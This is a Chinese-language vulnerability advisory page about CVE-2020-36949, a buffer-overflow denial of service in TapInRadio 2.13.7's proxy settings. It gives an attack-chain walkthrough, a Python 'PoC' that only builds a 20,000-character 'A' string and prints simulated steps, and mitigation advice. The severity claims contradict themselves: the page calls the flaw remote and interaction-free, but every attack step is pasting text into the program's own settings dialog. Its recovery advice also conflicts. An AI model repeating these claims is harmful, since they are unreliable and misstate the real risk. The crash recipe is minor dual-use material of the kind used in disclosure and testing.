IPBUF安全漏洞报告
English
CVE-2020-36949 CVSS 7.5 高危

CVE-2020-36949 TapInRadio代理设置缓冲区溢出拒绝服务漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2020-36949
漏洞类型
缓冲区溢出/拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TapInRadio

相关标签

CVE-2020-36949拒绝服务缓冲区溢出TapInRadio代理设置高危漏洞输入验证不足网络应用程序

漏洞概述

CVE-2020-36949是TapInRadio 2.13.7版本中发现的一个高危拒绝服务漏洞。该漏洞存在于应用程序的代理设置功能中,攻击者可以通过在代理设置的用户名和地址输入字段中注入超长字符串(超过20,000字符)来触发缓冲区溢出。当程序尝试处理这些超长输入时,会导致应用程序崩溃或进入无响应状态。由于该漏洞无需任何认证即可利用,且攻击复杂度较低,攻击者可以远程发起攻击,无需用户交互即可使目标系统上的TapInRadio应用程序失效。受影响的用户在应用程序崩溃后可能需要重新安装程序才能恢复正常使用,这为攻击者提供了一种有效的拒绝服务手段。该漏洞的CVSS评分为7.5,属于高危级别,对系统可用性造成严重影响。

技术细节

该漏洞的根本原因在于TapInRadio 2.13.7的代理设置模块缺乏对用户输入长度和内容的有效验证。当用户在代理设置界面的用户名(Username)和服务器地址(Address)字段中输入超长字符串时,程序没有对输入数据进行边界检查,直接将数据传递给底层的字符串处理函数。在处理超过20,000字符的超长字符串时,程序栈空间或堆内存会发生缓冲区溢出,覆盖关键的程序控制数据或函数返回地址。由于TapInRadio使用C/C++编写且未启用栈保护机制,攻击者可以通过精心构造的超长输入覆盖栈帧中的返回地址,虽然该漏洞主要被用于拒绝服务攻击(导致程序崩溃),但理论上也存在控制流劫持的可能性。攻击者只需在代理设置界面粘贴约20,000个字符的字符串即可触发漏洞,程序会立即变得无响应且无法恢复,必须通过任务管理器终止进程或重新启动系统。

攻击链分析

STEP 1
步骤1
攻击者启动TapInRadio 2.13.7或更早版本应用程序
STEP 2
步骤2
攻击者导航至代理设置界面(Settings -> Preferences -> Proxy)
STEP 3
步骤3
攻击者准备包含20,000个字符的超长字符串作为攻击载荷
STEP 4
步骤4
攻击者将超长字符串粘贴到代理设置的用户名(Username)输入字段中
STEP 5
步骤5
攻击者将超长字符串粘贴到代理设置的地址(Address)输入字段中
STEP 6
步骤6
攻击者点击保存/应用按钮,触发漏洞利用
STEP 7
步骤7
程序在处理超长输入时发生缓冲区溢出,导致程序崩溃或进入无响应状态
STEP 8
步骤8
用户必须通过任务管理器强制终止进程或重新安装应用程序才能恢复使用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2020-36949 PoC - TapInRadio Proxy Settings Buffer Overflow DoS This PoC demonstrates the denial of service vulnerability in TapInRadio 2.13.7 proxy settings by sending a large buffer to overflow input fields. Usage: python3 cve-2020-36949_poc.py """ import sys import time def generate_large_payload(size=20000): """Generate a large string payload to overflow input fields.""" # Generate printable characters for input field overflow payload = 'A' * size return payload def exploit_tapinradio_proxy_overflow(): """ Simulate the exploitation of CVE-2020-36949. Attack vector: 1. Attacker accesses TapInRadio proxy settings (Settings -> Preferences -> Proxy) 2. Attacker pastes 20,000+ character string into Username field 3. Attacker pastes 20,000+ character string into Address field 4. Application crashes and becomes unresponsive 5. User must terminate process or reinstall application """ print("[*] CVE-2020-36949 TapInRadio Proxy Settings DoS PoC") print("[*] Target: TapInRadio <= 2.13.7") print("-" * 50) # Generate overflow payloads username_payload = generate_large_payload(20000) address_payload = generate_large_payload(20000) print(f"[+] Generated username payload: {len(username_payload)} bytes") print(f"[+] Generated address payload: {len(address_payload)} bytes") print("\n[*] Attack simulation:") print(f"[+] Step 1: Navigate to TapInRadio -> Settings -> Preferences -> Proxy") print(f"[+] Step 2: Input username field with {len(username_payload)} characters") print(f"[+] Step 3: Input address field with {len(address_payload)} characters") print(f"[+] Step 4: Click Save/Apply button") print(f"[+] Step 5: Application crashes due to buffer overflow") # Simulate the attack print("\n[*] Executing attack...") time.sleep(1) # Display the overflow pattern print(f"\n[+] Username payload preview: {username_payload[:50]}...") print(f"[+] Address payload preview: {address_payload[:50]}...") print("\n[!] Result: Application becomes unresponsive and crashes") print("[!] User intervention required to restore application functionality") return True if __name__ == "__main__": exploit_tapinradio_proxy_overflow()

影响范围

TapInRadio <= 2.13.7

防御指南

临时缓解措施
在官方修复版本发布之前,建议用户暂时避免使用TapInRadio的代理设置功能,或限制在代理设置中输入的数据长度不超过255个字符。如果应用程序已经因该漏洞而崩溃,用户需要通过任务管理器强制终止TapInRadio进程,然后重新启动应用程序。建议用户关注TapInRadio官方更新,及时安装安全补丁修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表